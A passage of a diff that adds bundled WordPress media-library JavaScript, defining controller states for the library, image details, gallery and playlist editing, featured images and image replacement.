+			this.frame.on( 'content:activate', this.saveContentMode, this );
+			this.set( 'content', getUserSetting( 'libraryContent', this.get('content') ) );
+		}
+	},
+
+	/**
+	 * @since 3.5.0
+	 */
+	deactivate: function() {
+		this.recordSelection();
+
+		this.frame.off( 'content:activate', this.saveContentMode, this );
+
+		// Unbind all event handlers that use this state as the context
+		// from the selection.
+		this.get('selection').off( null, null, this );
+
+		wp.Uploader.queue.off( null, null, this );
+	},
+
+	/**
+	 * Reset the library to its initial state.
+	 *
+	 * @since 3.5.0
+	 */
+	reset: function() {
+		this.get('selection').reset();
+		this.resetDisplays();
+		this.refreshContent();
+	},
+
+	/**
+	 * Reset the attachment display settings defaults to the site options.
+	 *
+	 * If site options don't define them, fall back to a persistent user setting.
+	 *
+	 * @since 3.5.0
+	 */
+	resetDisplays: function() {
+		var defaultProps = wp.media.view.settings.defaultProps;
+		this._displays = [];
+		this._defaultDisplaySettings = {
+			align: getUserSetting( 'align', defaultProps.align ) || 'none',
+			size:  getUserSetting( 'imgsize', defaultProps.size ) || 'medium',
+			link:  getUserSetting( 'urlbutton', defaultProps.link ) || 'none'
+		};
+	},
+
+	/**
+	 * Create a model to represent display settings (alignment, etc.) for an attachment.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param {wp.media.model.Attachment} attachment
+	 * @returns {Backbone.Model}
+	 */
+	display: function( attachment ) {
+		var displays = this._displays;
+
+		if ( ! displays[ attachment.cid ] ) {
+			displays[ attachment.cid ] = new Backbone.Model( this.defaultDisplaySettings( attachment ) );
+		}
+		return displays[ attachment.cid ];
+	},
+
+	/**
+	 * Given an attachment, create attachment display settings properties.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param {wp.media.model.Attachment} attachment
+	 * @returns {Object}
+	 */
+	defaultDisplaySettings: function( attachment ) {
+		var settings = _.clone( this._defaultDisplaySettings );
+
+		if ( settings.canEmbed = this.canEmbed( attachment ) ) {
+			settings.link = 'embed';
+		} else if ( ! this.isImageAttachment( attachment ) && settings.link === 'none' ) {
+			settings.link = 'file';
+		}
+
+		return settings;
+	},
+
+	/**
+	 * Whether an attachment is image.
+	 *
+	 * @since 4.4.1
+	 *
+	 * @param {wp.media.model.Attachment} attachment
+	 * @returns {Boolean}
+	 */
+	isImageAttachment: function( attachment ) {
+		// If uploading, we know the filename but not the mime type.
+		if ( attachment.get('uploading') ) {
+			return /\.(jpe?g|png|gif)$/i.test( attachment.get('filename') );
+		}
+
+		return attachment.get('type') === 'image';
+	},
+
+	/**
+	 * Whether an attachment can be embedded (audio or video).
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param {wp.media.model.Attachment} attachment
+	 * @returns {Boolean}
+	 */
+	canEmbed: function( attachment ) {
+		// If uploading, we know the filename but not the mime type.
+		if ( ! attachment.get('uploading') ) {
+			var type = attachment.get('type');
+			if ( type !== 'audio' && type !== 'video' ) {
+				return false;
+			}
+		}
+
+		return _.contains( wp.media.view.settings.embedExts, attachment.get('filename').split('.').pop() );
+	},
+
+
+	/**
+	 * If the state is active, no items are selected, and the current
+	 * content mode is not an option in the state's router (provided
+	 * the state has a router), reset the content mode to the default.
+	 *
+	 * @since 3.5.0
+	 */
+	refreshContent: function() {
+		var selection = this.get('selection'),
+			frame = this.frame,
+			router = frame.router.get(),
+			mode = frame.content.mode();
+
+		if ( this.active && ! selection.length && router && ! router.get( mode ) ) {
+			this.frame.content.render( this.get('content') );
+		}
+	},
+
+	/**
+	 * Callback handler when an attachment is uploaded.
+	 *
+	 * Switch to the Media Library if uploaded from the 'Upload Files' tab.
+	 *
+	 * Adds any uploading attachments to the selection.
+	 *
+	 * If the state only supports one attachment to be selected and multiple
+	 * attachments are uploaded, the last attachment in the upload queue will
+	 * be selected.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param {wp.media.model.Attachment} attachment
+	 */
+	uploading: function( attachment ) {
+		var content = this.frame.content;
+
+		if ( 'upload' === content.mode() ) {
+			this.frame.content.mode('browse');
+		}
+
+		if ( this.get( 'autoSelect' ) ) {
+			this.get('selection').add( attachment );
+			this.frame.trigger( 'library:selection:add' );
+		}
+	},
+
+	/**
+	 * Persist the mode of the content region as a user setting.
+	 *
+	 * @since 3.5.0
+	 */
+	saveContentMode: function() {
+		if ( 'browse' !== this.get('router') ) {
+			return;
+		}
+
+		var mode = this.frame.content.mode(),
+			view = this.frame.router.get();
+
+		if ( view && view.get( mode ) ) {
+			setUserSetting( 'libraryContent', mode );
+		}
+	}
+
+});
+
+// Make selectionSync available on any Media Library state.
+_.extend( Library.prototype, wp.media.selectionSync );
+
+module.exports = Library;
+
+
+/***/ }),
+/* 32 */
+/***/ (function(module, exports) {
+
+var State = wp.media.controller.State,
+	Library = wp.media.controller.Library,
+	l10n = wp.media.view.l10n,
+	ImageDetails;
+
+/**
+ * wp.media.controller.ImageDetails
+ *
+ * A state for editing the attachment display settings of an image that's been
+ * inserted into the editor.
+ *
+ * @memberOf wp.media.controller
+ *
+ * @class
+ * @augments wp.media.controller.State
+ * @augments Backbone.Model
+ *
+ * @param {object}                    [attributes]                       The attributes hash passed to the state.
+ * @param {string}                    [attributes.id=image-details]      Unique identifier.
+ * @param {string}                    [attributes.title=Image Details]   Title for the state. Displays in the frame's title region.
+ * @param {wp.media.model.Attachment} attributes.image                   The image's model.
+ * @param {string|false}              [attributes.content=image-details] Initial mode for the content region.
+ * @param {string|false}              [attributes.menu=false]            Initial mode for the menu region.
+ * @param {string|false}              [attributes.router=false]          Initial mode for the router region.
+ * @param {string|false}              [attributes.toolbar=image-details] Initial mode for the toolbar region.
+ * @param {boolean}                   [attributes.editing=false]         Unused.
+ * @param {int}                       [attributes.priority=60]           Unused.
+ *
+ * @todo This state inherits some defaults from media.controller.Library.prototype.defaults,
+ *       however this may not do anything.
+ */
+ImageDetails = State.extend(/** @lends wp.media.controller.ImageDetails.prototype */{
+	defaults: _.defaults({
+		id:       'image-details',
+		title:    l10n.imageDetailsTitle,
+		content:  'image-details',
+		menu:     false,
+		router:   false,
+		toolbar:  'image-details',
+		editing:  false,
+		priority: 60
+	}, Library.prototype.defaults ),
+
+	/**
+	 * @since 3.9.0
+	 *
+	 * @param options Attributes
+	 */
+	initialize: function( options ) {
+		this.image = options.image;
+		State.prototype.initialize.apply( this, arguments );
+	},
+
+	/**
+	 * @since 3.9.0
+	 */
+	activate: function() {
+		this.frame.modal.$el.addClass('image-details');
+	}
+});
+
+module.exports = ImageDetails;
+
+
+/***/ }),
+/* 33 */
+/***/ (function(module, exports) {
+
+var Library = wp.media.controller.Library,
+	l10n = wp.media.view.l10n,
+	GalleryEdit;
+
+/**
+ * wp.media.controller.GalleryEdit
+ *
+ * A state for editing a gallery's images and settings.
+ *
+ * @memberOf wp.media.controller
+ *
+ * @class
+ * @augments wp.media.controller.Library
+ * @augments wp.media.controller.State
+ * @augments Backbone.Model
+ *
+ * @param {object}                     [attributes]                       The attributes hash passed to the state.
+ * @param {string}                     [attributes.id=gallery-edit]       Unique identifier.
+ * @param {string}                     [attributes.title=Edit Gallery]    Title for the state. Displays in the frame's title region.
+ * @param {wp.media.model.Attachments} [attributes.library]               The collection of attachments in the gallery.
+ *                                                                        If one is not supplied, an empty media.model.Selection collection is created.
+ * @param {boolean}                    [attributes.multiple=false]        Whether multi-select is enabled.
+ * @param {boolean}                    [attributes.searchable=false]      Whether the library is searchable.
+ * @param {boolean}                    [attributes.sortable=true]         Whether the Attachments should be sortable. Depends on the orderby property being set to menuOrder on the attachments collection.
+ * @param {boolean}                    [attributes.date=true]             Whether to show the date filter in the browser's toolbar.
+ * @param {string|false}               [attributes.content=browse]        Initial mode for the content region.
+ * @param {string|false}               [attributes.toolbar=image-details] Initial mode for the toolbar region.
+ * @param {boolean}                    [attributes.describe=true]         Whether to offer UI to describe attachments - e.g. captioning images in a gallery.
+ * @param {boolean}                    [attributes.displaySettings=true]  Whether to show the attachment display settings interface.
+ * @param {boolean}                    [attributes.dragInfo=true]         Whether to show instructional text about the attachments being sortable.
+ * @param {int}                        [attributes.idealColumnWidth=170]  The ideal column width in pixels for attachments.
+ * @param {boolean}                    [attributes.editing=false]         Whether the gallery is being created, or editing an existing instance.
+ * @param {int}                        [attributes.priority=60]           The priority for the state link in the media menu.
+ * @param {boolean}                    [attributes.syncSelection=false]   Whether the Attachments selection should be persisted from the last state.
+ *                                                                        Defaults to false for this state, because the library passed in  *is* the selection.
+ * @param {view}                       [attributes.AttachmentView]        The single `Attachment` view to be used in the `Attachments`.
+ *                                                                        If none supplied, defaults to wp.media.view.Attachment.EditLibrary.
+ */
+GalleryEdit = Library.extend(/** @lends wp.media.controller.GalleryEdit.prototype */{
+	defaults: {
+		id:               'gallery-edit',
+		title:            l10n.editGalleryTitle,
+		multiple:         false,
+		searchable:       false,
+		sortable:         true,
+		date:             false,
+		display:          false,
+		content:          'browse',
+		toolbar:          'gallery-edit',
+		describe:         true,
+		displaySettings:  true,
+		dragInfo:         true,
+		idealColumnWidth: 170,
+		editing:          false,
+		priority:         60,
+		syncSelection:    false
+	},
+
+	/**
+	 * @since 3.5.0
+	 */
+	initialize: function() {
+		// If we haven't been provided a `library`, create a `Selection`.
+		if ( ! this.get('library') ) {
+			this.set( 'library', new wp.media.model.Selection() );
+		}
+
+		// The single `Attachment` view to be used in the `Attachments` view.
+		if ( ! this.get('AttachmentView') ) {
+			this.set( 'AttachmentView', wp.media.view.Attachment.EditLibrary );
+		}
+
+		Library.prototype.initialize.apply( this, arguments );
+	},
+
+	/**
+	 * @since 3.5.0
+	 */
+	activate: function() {
+		var library = this.get('library');
+
+		// Limit the library to images only.
+		library.props.set( 'type', 'image' );
+
+		// Watch for uploaded attachments.
+		this.get('library').observe( wp.Uploader.queue );
+
+		this.frame.on( 'content:render:browse', this.gallerySettings, this );
+
+		Library.prototype.activate.apply( this, arguments );
+	},
+
+	/**
+	 * @since 3.5.0
+	 */
+	deactivate: function() {
+		// Stop watching for uploaded attachments.
+		this.get('library').unobserve( wp.Uploader.queue );
+
+		this.frame.off( 'content:render:browse', this.gallerySettings, this );
+
+		Library.prototype.deactivate.apply( this, arguments );
+	},
+
+	/**
+	 * @since 3.5.0
+	 *
+	 * @param browser
+	 */
+	gallerySettings: function( browser ) {
+		if ( ! this.get('displaySettings') ) {
+			return;
+		}
+
+		var library = this.get('library');
+
+		if ( ! library || ! browser ) {
+			return;
+		}
+
+		library.gallery = library.gallery || new Backbone.Model();
+
+		browser.sidebar.set({
+			gallery: new wp.media.view.Settings.Gallery({
+				controller: this,
+				model:      library.gallery,
+				priority:   40
+			})
+		});
+
+		browser.toolbar.set( 'reverse', {
+			text:     l10n.reverseOrder,
+			priority: 80,
+
+			click: function() {
+				library.reset( library.toArray().reverse() );
+			}
+		});
+	}
+});
+
+module.exports = GalleryEdit;
+
+
+/***/ }),
+/* 34 */
+/***/ (function(module, exports) {
+
+var Selection = wp.media.model.Selection,
+	Library = wp.media.controller.Library,
+	l10n = wp.media.view.l10n,
+	GalleryAdd;
+
+/**
+ * wp.media.controller.GalleryAdd
+ *
+ * A state for selecting more images to add to a gallery.
+ *
+ * @memberOf wp.media.controller
+ *
+ * @class
+ * @augments wp.media.controller.Library
+ * @augments wp.media.controller.State
+ * @augments Backbone.Model
+ *
+ * @param {object}                     [attributes]                         The attributes hash passed to the state.
+ * @param {string}                     [attributes.id=gallery-library]      Unique identifier.
+ * @param {string}                     [attributes.title=Add to Gallery]    Title for the state. Displays in the frame's title region.
+ * @param {boolean}                    [attributes.multiple=add]            Whether multi-select is enabled. @todo 'add' doesn't seem do anything special, and gets used as a boolean.
+ * @param {wp.media.model.Attachments} [attributes.library]                 The attachments collection to browse.
+ *                                                                          If one is not supplied, a collection of all images will be created.
+ * @param {boolean|string}             [attributes.filterable=uploaded]     Whether the library is filterable, and if so what filters should be shown.
+ *                                                                          Accepts 'all', 'uploaded', or 'unattached'.
+ * @param {string}                     [attributes.menu=gallery]            Initial mode for the menu region.
+ * @param {string}                     [attributes.content=upload]          Initial mode for the content region.
+ *                                                                          Overridden by persistent user setting if 'contentUserSetting' is true.
+ * @param {string}                     [attributes.router=browse]           Initial mode for the router region.
+ * @param {string}                     [attributes.toolbar=gallery-add]     Initial mode for the toolbar region.
+ * @param {boolean}                    [attributes.searchable=true]         Whether the library is searchable.
+ * @param {boolean}                    [attributes.sortable=true]           Whether the Attachments should be sortable. Depends on the orderby property being set to menuOrder on the attachments collection.
+ * @param {boolean}                    [attributes.autoSelect=true]         Whether an uploaded attachment should be automatically added to the selection.
+ * @param {boolean}                    [attributes.contentUserSetting=true] Whether the content region's mode should be set and persisted per user.
+ * @param {int}                        [attributes.priority=100]            The priority for the state link in the media menu.
+ * @param {boolean}                    [attributes.syncSelection=false]     Whether the Attachments selection should be persisted from the last state.
+ *                                                                          Defaults to false because for this state, because the library of the Edit Gallery state is the selection.
+ */
+GalleryAdd = Library.extend(/** @lends wp.media.controller.GalleryAdd.prototype */{
+	defaults: _.defaults({
+		id:            'gallery-library',
+		title:         l10n.addToGalleryTitle,
+		multiple:      'add',
+		filterable:    'uploaded',
+		menu:          'gallery',
+		toolbar:       'gallery-add',
+		priority:      100,
+		syncSelection: false
+	}, Library.prototype.defaults ),
+
+	/**
+	 * @since 3.5.0
+	 */
+	initialize: function() {
+		// If a library wasn't supplied, create a library of images.
+		if ( ! this.get('library') ) {
+			this.set( 'library', wp.media.query({ type: 'image' }) );
+		}
+
+		Library.prototype.initialize.apply( this, arguments );
+	},
+
+	/**
+	 * @since 3.5.0
+	 */
+	activate: function() {
+		var library = this.get('library'),
+			edit    = this.frame.state('gallery-edit').get('library');
+
+		if ( this.editLibrary && this.editLibrary !== edit ) {
+			library.unobserve( this.editLibrary );
+		}
+
+		// Accepts attachments that exist in the original library and
+		// that do not exist in gallery's library.
+		library.validator = function( attachment ) {
+			return !! this.mirroring.get( attachment.cid ) && ! edit.get( attachment.cid ) && Selection.prototype.validator.apply( this, arguments );
+		};
+
+		// Reset the library to ensure that all attachments are re-added
+		// to the collection. Do so silently, as calling `observe` will
+		// trigger the `reset` event.
+		library.reset( library.mirroring.models, { silent: true });
+		library.observe( edit );
+		this.editLibrary = edit;
+
+		Library.prototype.activate.apply( this, arguments );
+	}
+});
+
+module.exports = GalleryAdd;
+
+
+/***/ }),
+/* 35 */
+/***/ (function(module, exports) {
+
+var Library = wp.media.controller.Library,
+	l10n = wp.media.view.l10n,
+	$ = jQuery,
+	CollectionEdit;
+
+/**
+ * wp.media.controller.CollectionEdit
+ *
+ * A state for editing a collection, which is used by audio and video playlists,
+ * and can be used for other collections.
+ *
+ * @memberOf wp.media.controller
+ *
+ * @class
+ * @augments wp.media.controller.Library
+ * @augments wp.media.controller.State
+ * @augments Backbone.Model
+ *
+ * @param {object}                     [attributes]                      The attributes hash passed to the state.
+ * @param {string}                     attributes.title                  Title for the state. Displays in the media menu and the frame's title region.
+ * @param {wp.media.model.Attachments} [attributes.library]              The attachments collection to edit.
+ *                                                                       If one is not supplied, an empty media.model.Selection collection is created.
+ * @param {boolean}                    [attributes.multiple=false]       Whether multi-select is enabled.
+ * @param {string}                     [attributes.content=browse]       Initial mode for the content region.
+ * @param {string}                     attributes.menu                   Initial mode for the menu region. @todo this needs a better explanation.
+ * @param {boolean}                    [attributes.searchable=false]     Whether the library is searchable.
+ * @param {boolean}                    [attributes.sortable=true]        Whether the Attachments should be sortable. Depends on the orderby property being set to menuOrder on the attachments collection.
+ * @param {boolean}                    [attributes.date=true]            Whether to show the date filter in the browser's toolbar.
+ * @param {boolean}                    [attributes.describe=true]        Whether to offer UI to describe the attachments - e.g. captioning images in a gallery.
+ * @param {boolean}                    [attributes.dragInfo=true]        Whether to show instructional text about the attachments being sortable.
+ * @param {boolean}                    [attributes.dragInfoText]         Instructional text about the attachments being sortable.
+ * @param {int}                        [attributes.idealColumnWidth=170] The ideal column width in pixels for attachments.
+ * @param {boolean}                    [attributes.editing=false]        Whether the gallery is being created, or editing an existing instance.
+ * @param {int}                        [attributes.priority=60]          The priority for the state link in the media menu.
+ * @param {boolean}                    [attributes.syncSelection=false]  Whether the Attachments selection should be persisted from the last state.
+ *                                                                       Defaults to false for this state, because the library passed in  *is* the selection.
+ * @param {view}                       [attributes.SettingsView]         The view to edit the collection instance settings (e.g. Playlist settings with "Show tracklist" checkbox).
+ * @param {view}                       [attributes.AttachmentView]       The single `Attachment` view to be used in the `Attachments`.
+ *                                                                       If none supplied, defaults to wp.media.view.Attachment.EditLibrary.
+ * @param {string}                     attributes.type                   The collection's media type. (e.g. 'video').
+ * @param {string}                     attributes.collectionType         The collection type. (e.g. 'playlist').
+ */
+CollectionEdit = Library.extend(/** @lends wp.media.controller.CollectionEdit.prototype */{
+	defaults: {
+		multiple:         false,
+		sortable:         true,
+		date:             false,
+		searchable:       false,
+		content:          'browse',
+		describe:         true,
+		dragInfo:         true,
+		idealColumnWidth: 170,
+		editing:          false,
+		priority:         60,
+		SettingsView:     false,
+		syncSelection:    false
+	},
+
+	/**
+	 * @since 3.9.0
+	 */
+	initialize: function() {
+		var collectionType = this.get('collectionType');
+
+		if ( 'video' === this.get( 'type' ) ) {
+			collectionType = 'video-' + collectionType;
+		}
+
+		this.set( 'id', collectionType + '-edit' );
+		this.set( 'toolbar', collectionType + '-edit' );
+
+		// If we haven't been provided a `library`, create a `Selection`.
+		if ( ! this.get('library') ) {
+			this.set( 'library', new wp.media.model.Selection() );
+		}
+		// The single `Attachment` view to be used in the `Attachments` view.
+		if ( ! this.get('AttachmentView') ) {
+			this.set( 'AttachmentView', wp.media.view.Attachment.EditLibrary );
+		}
+		Library.prototype.initialize.apply( this, arguments );
+	},
+
+	/**
+	 * @since 3.9.0
+	 */
+	activate: function() {
+		var library = this.get('library');
+
+		// Limit the library to images only.
+		library.props.set( 'type', this.get( 'type' ) );
+
+		// Watch for uploaded attachments.
+		this.get('library').observe( wp.Uploader.queue );
+
+		this.frame.on( 'content:render:browse', this.renderSettings, this );
+
+		Library.prototype.activate.apply( this, arguments );
+	},
+
+	/**
+	 * @since 3.9.0
+	 */
+	deactivate: function() {
+		// Stop watching for uploaded attachments.
+		this.get('library').unobserve( wp.Uploader.queue );
+
+		this.frame.off( 'content:render:browse', this.renderSettings, this );
+
+		Library.prototype.deactivate.apply( this, arguments );
+	},
+
+	/**
+	 * Render the collection embed settings view in the browser sidebar.
+	 *
+	 * @todo This is against the pattern elsewhere in media. Typically the frame
+	 *       is responsible for adding region mode callbacks. Explain.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param {wp.media.view.attachmentsBrowser} The attachments browser view.
+	 */
+	renderSettings: function( attachmentsBrowserView ) {
+		var library = this.get('library'),
+			collectionType = this.get('collectionType'),
+			dragInfoText = this.get('dragInfoText'),
+			SettingsView = this.get('SettingsView'),
+			obj = {};
+
+		if ( ! library || ! attachmentsBrowserView ) {
+			return;
+		}
+
+		library[ collectionType ] = library[ collectionType ] || new Backbone.Model();
+
+		obj[ collectionType ] = new SettingsView({
+			controller: this,
+			model:      library[ collectionType ],
+			priority:   40
+		});
+
+		attachmentsBrowserView.sidebar.set( obj );
+
+		if ( dragInfoText ) {
+			attachmentsBrowserView.toolbar.set( 'dragInfo', new wp.media.View({
+				el: $( '<div class="instructions">' + dragInfoText + '</div>' )[0],
+				priority: -40
+			}) );
+		}
+
+		// Add the 'Reverse order' button to the toolbar.
+		attachmentsBrowserView.toolbar.set( 'reverse', {
+			text:     l10n.reverseOrder,
+			priority: 80,
+
+			click: function() {
+				library.reset( library.toArray().reverse() );
+			}
+		});
+	}
+});
+
+module.exports = CollectionEdit;
+
+
+/***/ }),
+/* 36 */
+/***/ (function(module, exports) {
+
+var Selection = wp.media.model.Selection,
+	Library = wp.media.controller.Library,
+	CollectionAdd;
+
+/**
+ * wp.media.controller.CollectionAdd
+ *
+ * A state for adding attachments to a collection (e.g. video playlist).
+ *
+ * @memberOf wp.media.controller
+ *
+ * @class
+ * @augments wp.media.controller.Library
+ * @augments wp.media.controller.State
+ * @augments Backbone.Model
+ *
+ * @param {object}                     [attributes]                         The attributes hash passed to the state.
+ * @param {string}                     [attributes.id=library]      Unique identifier.
+ * @param {string}                     attributes.title                    Title for the state. Displays in the frame's title region.
+ * @param {boolean}                    [attributes.multiple=add]            Whether multi-select is enabled. @todo 'add' doesn't seem do anything special, and gets used as a boolean.
+ * @param {wp.media.model.Attachments} [attributes.library]                 The attachments collection to browse.
+ *                                                                          If one is not supplied, a collection of attachments of the specified type will be created.
+ * @param {boolean|string}             [attributes.filterable=uploaded]     Whether the library is filterable, and if so what filters should be shown.
+ *                                                                          Accepts 'all', 'uploaded', or 'unattached'.
+ * @param {string}                     [attributes.menu=gallery]            Initial mode for the menu region.
+ * @param {string}                     [attributes.content=upload]          Initial mode for the content region.
+ *                                                                          Overridden by persistent user setting if 'contentUserSetting' is true.
+ * @param {string}                     [attributes.router=browse]           Initial mode for the router region.
+ * @param {string}                     [attributes.toolbar=gallery-add]     Initial mode for the toolbar region.
+ * @param {boolean}                    [attributes.searchable=true]         Whether the library is searchable.
+ * @param {boolean}                    [attributes.sortable=true]           Whether the Attachments should be sortable. Depends on the orderby property being set to menuOrder on the attachments collection.
+ * @param {boolean}                    [attributes.autoSelect=true]         Whether an uploaded attachment should be automatically added to the selection.
+ * @param {boolean}                    [attributes.contentUserSetting=true] Whether the content region's mode should be set and persisted per user.
+ * @param {int}                        [attributes.priority=100]            The priority for the state link in the media menu.
+ * @param {boolean}                    [attributes.syncSelection=false]     Whether the Attachments selection should be persisted from the last state.
+ *                                                                          Defaults to false because for this state, because the library of the Edit Gallery state is the selection.
+ * @param {string}                     attributes.type                   The collection's media type. (e.g. 'video').
+ * @param {string}                     attributes.collectionType         The collection type. (e.g. 'playlist').
+ */
+CollectionAdd = Library.extend(/** @lends wp.media.controller.CollectionAdd.prototype */{
+	defaults: _.defaults( {
+		// Selection defaults. @see media.model.Selection
+		multiple:      'add',
+		// Attachments browser defaults. @see media.view.AttachmentsBrowser
+		filterable:    'uploaded',
+
+		priority:      100,
+		syncSelection: false
+	}, Library.prototype.defaults ),
+
+	/**
+	 * @since 3.9.0
+	 */
+	initialize: function() {
+		var collectionType = this.get('collectionType');
+
+		if ( 'video' === this.get( 'type' ) ) {
+			collectionType = 'video-' + collectionType;
+		}
+
+		this.set( 'id', collectionType + '-library' );
+		this.set( 'toolbar', collectionType + '-add' );
+		this.set( 'menu', collectionType );
+
+		// If we haven't been provided a `library`, create a `Selection`.
+		if ( ! this.get('library') ) {
+			this.set( 'library', wp.media.query({ type: this.get('type') }) );
+		}
+		Library.prototype.initialize.apply( this, arguments );
+	},
+
+	/**
+	 * @since 3.9.0
+	 */
+	activate: function() {
+		var library = this.get('library'),
+			editLibrary = this.get('editLibrary'),
+			edit = this.frame.state( this.get('collectionType') + '-edit' ).get('library');
+
+		if ( editLibrary && editLibrary !== edit ) {
+			library.unobserve( editLibrary );
+		}
+
+		// Accepts attachments that exist in the original library and
+		// that do not exist in gallery's library.
+		library.validator = function( attachment ) {
+			return !! this.mirroring.get( attachment.cid ) && ! edit.get( attachment.cid ) && Selection.prototype.validator.apply( this, arguments );
+		};
+
+		// Reset the library to ensure that all attachments are re-added
+		// to the collection. Do so silently, as calling `observe` will
+		// trigger the `reset` event.
+		library.reset( library.mirroring.models, { silent: true });
+		library.observe( edit );
+		this.set('editLibrary', edit);
+
+		Library.prototype.activate.apply( this, arguments );
+	}
+});
+
+module.exports = CollectionAdd;
+
+
+/***/ }),
+/* 37 */
+/***/ (function(module, exports) {
+
+var Attachment = wp.media.model.Attachment,
+	Library = wp.media.controller.Library,
+	l10n = wp.media.view.l10n,
+	FeaturedImage;
+
+/**
+ * wp.media.controller.FeaturedImage
+ *
+ * A state for selecting a featured image for a post.
+ *
+ * @memberOf wp.media.controller
+ *
+ * @class
+ * @augments wp.media.controller.Library
+ * @augments wp.media.controller.State
+ * @augments Backbone.Model
+ *
+ * @param {object}                     [attributes]                          The attributes hash passed to the state.
+ * @param {string}                     [attributes.id=featured-image]        Unique identifier.
+ * @param {string}                     [attributes.title=Set Featured Image] Title for the state. Displays in the media menu and the frame's title region.
+ * @param {wp.media.model.Attachments} [attributes.library]                  The attachments collection to browse.
+ *                                                                           If one is not supplied, a collection of all images will be created.
+ * @param {boolean}                    [attributes.multiple=false]           Whether multi-select is enabled.
+ * @param {string}                     [attributes.content=upload]           Initial mode for the content region.
+ *                                                                           Overridden by persistent user setting if 'contentUserSetting' is true.
+ * @param {string}                     [attributes.menu=default]             Initial mode for the menu region.
+ * @param {string}                     [attributes.router=browse]            Initial mode for the router region.
+ * @param {string}                     [attributes.toolbar=featured-image]   Initial mode for the toolbar region.
+ * @param {int}                        [attributes.priority=60]              The priority for the state link in the media menu.
+ * @param {boolean}                    [attributes.searchable=true]          Whether the library is searchable.
+ * @param {boolean|string}             [attributes.filterable=false]         Whether the library is filterable, and if so what filters should be shown.
+ *                                                                           Accepts 'all', 'uploaded', or 'unattached'.
+ * @param {boolean}                    [attributes.sortable=true]            Whether the Attachments should be sortable. Depends on the orderby property being set to menuOrder on the attachments collection.
+ * @param {boolean}                    [attributes.autoSelect=true]          Whether an uploaded attachment should be automatically added to the selection.
+ * @param {boolean}                    [attributes.describe=false]           Whether to offer UI to describe attachments - e.g. captioning images in a gallery.
+ * @param {boolean}                    [attributes.contentUserSetting=true]  Whether the content region's mode should be set and persisted per user.
+ * @param {boolean}                    [attributes.syncSelection=true]       Whether the Attachments selection should be persisted from the last state.
+ */
+FeaturedImage = Library.extend(/** @lends wp.media.controller.FeaturedImage.prototype */{
+	defaults: _.defaults({
+		id:            'featured-image',
+		title:         l10n.setFeaturedImageTitle,
+		multiple:      false,
+		filterable:    'uploaded',
+		toolbar:       'featured-image',
+		priority:      60,
+		syncSelection: true
+	}, Library.prototype.defaults ),
+
+	/**
+	 * @since 3.5.0
+	 */
+	initialize: function() {
+		var library, comparator;
+
+		// If we haven't been provided a `library`, create a `Selection`.
+		if ( ! this.get('library') ) {
+			this.set( 'library', wp.media.query({ type: 'image' }) );
+		}
+
+		Library.prototype.initialize.apply( this, arguments );
+
+		library    = this.get('library');
+		comparator = library.comparator;
+
+		// Overload the library's comparator to push items that are not in
+		// the mirrored query to the front of the aggregate collection.
+		library.comparator = function( a, b ) {
+			var aInQuery = !! this.mirroring.get( a.cid ),
+				bInQuery = !! this.mirroring.get( b.cid );
+
+			if ( ! aInQuery && bInQuery ) {
+				return -1;
+			} else if ( aInQuery && ! bInQuery ) {
+				return 1;
+			} else {
+				return comparator.apply( this, arguments );
+			}
+		};
+
+		// Add all items in the selection to the library, so any featured
+		// images that are not initially loaded still appear.
+		library.observe( this.get('selection') );
+	},
+
+	/**
+	 * @since 3.5.0
+	 */
+	activate: function() {
+		this.updateSelection();
+		this.frame.on( 'open', this.updateSelection, this );
+
+		Library.prototype.activate.apply( this, arguments );
+	},
+
+	/**
+	 * @since 3.5.0
+	 */
+	deactivate: function() {
+		this.frame.off( 'open', this.updateSelection, this );
+
+		Library.prototype.deactivate.apply( this, arguments );
+	},
+
+	/**
+	 * @since 3.5.0
+	 */
+	updateSelection: function() {
+		var selection = this.get('selection'),
+			id = wp.media.view.settings.post.featuredImageId,
+			attachment;
+
+		if ( '' !== id && -1 !== id ) {
+			attachment = Attachment.get( id );
+			attachment.fetch();
+		}
+
+		selection.reset( attachment ? [ attachment ] : [] );
+	}
+});
+
+module.exports = FeaturedImage;
+
+
+/***/ }),
+/* 38 */
+/***/ (function(module, exports) {
+
+var Library = wp.media.controller.Library,
+	l10n = wp.media.view.l10n,
+	ReplaceImage;
+
+/**
+ * wp.media.controller.ReplaceImage
+ *
+ * A state for replacing an image.
+ *
+ * @memberOf wp.media.controller
+ *
+ * @class
+ * @augments wp.media.controller.Library
+ * @augments wp.media.controller.State
+ * @augments Backbone.Model
+ *
+ * @param {object}                     [attributes]                         The attributes hash passed to the state.
+ * @param {string}                     [attributes.id=replace-image]        Unique identifier.
+ * @param {string}                     [attributes.title=Replace Image]     Title for the state. Displays in the media menu and the frame's title region.
+ * @param {wp.media.model.Attachments} [attributes.library]                 The attachments collection to browse.
+ *                                                                          If one is not supplied, a collection of all images will be created.
+ * @param {boolean}                    [attributes.multiple=false]          Whether multi-select is enabled.
+ * @param {string}                     [attributes.content=upload]          Initial mode for the content region.
+ *                                                                          Overridden by persistent user setting if 'contentUserSetting' is true.
+ * @param {string}                     [attributes.menu=default]            Initial mode for the menu region.
+ * @param {string}                     [attributes.router=browse]           Initial mode for the router region.
+ * @param {string}                     [attributes.toolbar=replace]         Initial mode for the toolbar region.
+ * @param {int}                        [attributes.priority=60]             The priority for the state link in the media menu.
+ * @param {boolean}                    [attributes.searchable=true]         Whether the library is searchable.
+ * @param {boolean|string}             [attributes.filterable=uploaded]     Whether the library is filterable, and if so what filters should be shown.
+ *                                                                          Accepts 'all', 'uploaded', or 'unattached'.
+ * @param {boolean}                    [attributes.sortable=true]           Whether the Attachments should be sortable. Depends on the orderby property being set to menuOrder on the attachments collection.
+ * @param {boolean}                    [attributes.autoSelect=true]         Whether an uploaded attachment should be automatically added to the selection.
+ * @param {boolean}                    [attributes.describe=false]          Whether to offer UI to describe attachments - e.g. captioning images in a gallery.
+ * @param {boolean}                    [attributes.contentUserSetting=true] Whether the content region's mode should be set and persisted per user.
+ * @param {boolean}                    [attributes.syncSelection=true]      Whether the Attachments selection should be persisted from the last state.
+ */
+ReplaceImage = Library.extend(/** @lends wp.media.controller.ReplaceImage.prototype */{
+	defaults: _.defaults({
+		id:            'replace-image',
+		title:         l10n.replaceImageTitle,
+		multiple:      false,
+		filterable:    'uploaded',
+		toolbar:       'replace',
+		menu:          false,
+		priority:      60,
+		syncSelection: true
